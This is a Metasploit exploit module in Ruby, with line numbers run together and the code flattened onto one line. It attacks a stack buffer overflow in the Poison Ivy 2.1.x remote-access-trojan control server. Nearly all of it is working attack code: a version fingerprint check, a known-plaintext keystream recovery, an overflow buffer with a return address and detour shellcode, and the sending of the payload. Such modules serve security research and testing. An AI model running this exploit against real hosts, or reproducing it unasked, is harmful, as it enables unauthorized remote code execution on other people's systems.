1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Poison Ivy 2.1.x C2 Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server. The exploit does not need to know the password chosen for the bot/server communication. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module ], 'References' => [ [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ], ], 'DisclosureDate' => 'Jun 03 2016', 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space' => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD) }, 'Platform' => 'win', 'Targets'=> [ [ 'Poison Ivy 2.1.4 on Windows XP SP3', { 'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe" 'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe" 'InfoSizeOffset' => 0x1111, # offset of InfoSize variable 'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable 'Packet2Offset' => 0xB9E # offset of second packet within server's response } ] ], 'DefaultTarget'=> 0 )) register_options( [ Opt::RPORT(3460) ], self.class) end # XOR two strings def xor_strings(s1, s2) s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*') end # Obtain keystream using known plaintext def get_keystream(ciphertext, knownPlaintext) if(ciphertext.length < knownPlaintext.length) return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length]) else return xor_strings(ciphertext, knownPlaintext) end end # Apply keystream to plaintext def use_keystream(plaintext, keyStream) if(keyStream.length > plaintext.length) return xor_strings(plaintext, keyStream[0, plaintext.length]) else return xor_strings(plaintext, keyStream) end end def check connect # Poke sock.put("\x01") # Fetch response response = sock.get_once(6) if (response == "\x89\xFF\x90\x0B\x00\x00") vprint_status("Poison Ivy C&C version 2.1.4 detected.") return Exploit::CheckCode::Appears elsif (response == "\x89\xFF\x38\xE0\x00\x00") vprint_status("Poison Ivy C&C version 2.0.0 detected.") return Exploit::CheckCode::Safe end return Exploit::CheckCode::Safe end # Load known plaintext chunk def load_c2_packet_chunk path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin') chunk = ::File.open(path, 'rb') { |f| chunk = f.read } chunk end def exploit # Known plaintext from C2 packet knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00" knownPlaintext2 = load_c2_packet_chunk() # detour shellcode (mov eax, StoreAddress; jmp eax) detourShellcode ="\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress detourShellcode << "\xFF\xE0" # jmp eax # Padding where necessary compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length) # Construct exploit buffer exploitBuffer =Rex::Text.rand_text_alpha(4)# infoLen (placeholder) exploitBuffer << compressedBuffer# compressedBuffer exploitBuffer << "\xFF" * 0x104# readfds exploitBuffer << Rex::Text.rand_text_alpha(4)# compressionType exploitBuffer << Rex::Text.rand_text_alpha(4)# decompressSize (placeholder) exploitBuffer << Rex::Text.rand_text_alpha(4)# pDestinationSize exploitBuffer << Rex::Text.rand_text_alpha(4)# infoSize (placeholder) exploitBuffer << Rex::Text.rand_text_alpha(4)# headerAllocSize exploitBuffer << [target['StoreAddress']].pack("V")# decompressBuffer exploitBuffer << Rex::Text.rand_text_alpha(4)# decompressBuffer+4 exploitBuffer << Rex::Text.rand_text_alpha(4)# lParam exploitBuffer << Rex::Text.rand_text_alpha(4)# timeout exploitBuffer << Rex::Text.rand_text_alpha(4)# hWnd exploitBuffer << Rex::Text.rand_text_alpha(4)# s exploitBuffer << Rex::Text.rand_text_alpha(4)# old EBP exploitBuffer << [target['Ret']].pack("V")# EIP exploitBuffer << [target['StoreAddress']].pack("V")# arg_0 exploitBuffer << detourShellcode # detour to storage area # Calculate values allocSize = exploitBuffer.length + 1024 infoLen = payload.encoded.length infoSize = (infoLen + 4) # Handshake connect print_status("Performing handshake...") # Poke sock.put("\x01") # Fetch response response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize) eHeader = response[target['Packet2Offset'], 6] eInfo = response[target['Packet2Offset'] + 10..-1] if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize)) # Keystream derivation using Known Plaintext Attack keyStream1 = get_keystream(eHeader, knownPlaintext1) keyStream2 = get_keystream(eInfo, knownPlaintext2) # Set correct infoLen exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1] # Set correct decompressSize exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1] # Build packet malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1) # Encrypt infoSize bytes encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1] # Make sure infoSize gets overwritten properly since it is processed before decryption encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1] # Finalize packet exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer print_status("Sending exploit...") # Send exploit sock.put(exploitPacket) else print_status("Not enough keystream available...") end select(nil,nil,nil,5) disconnect end end |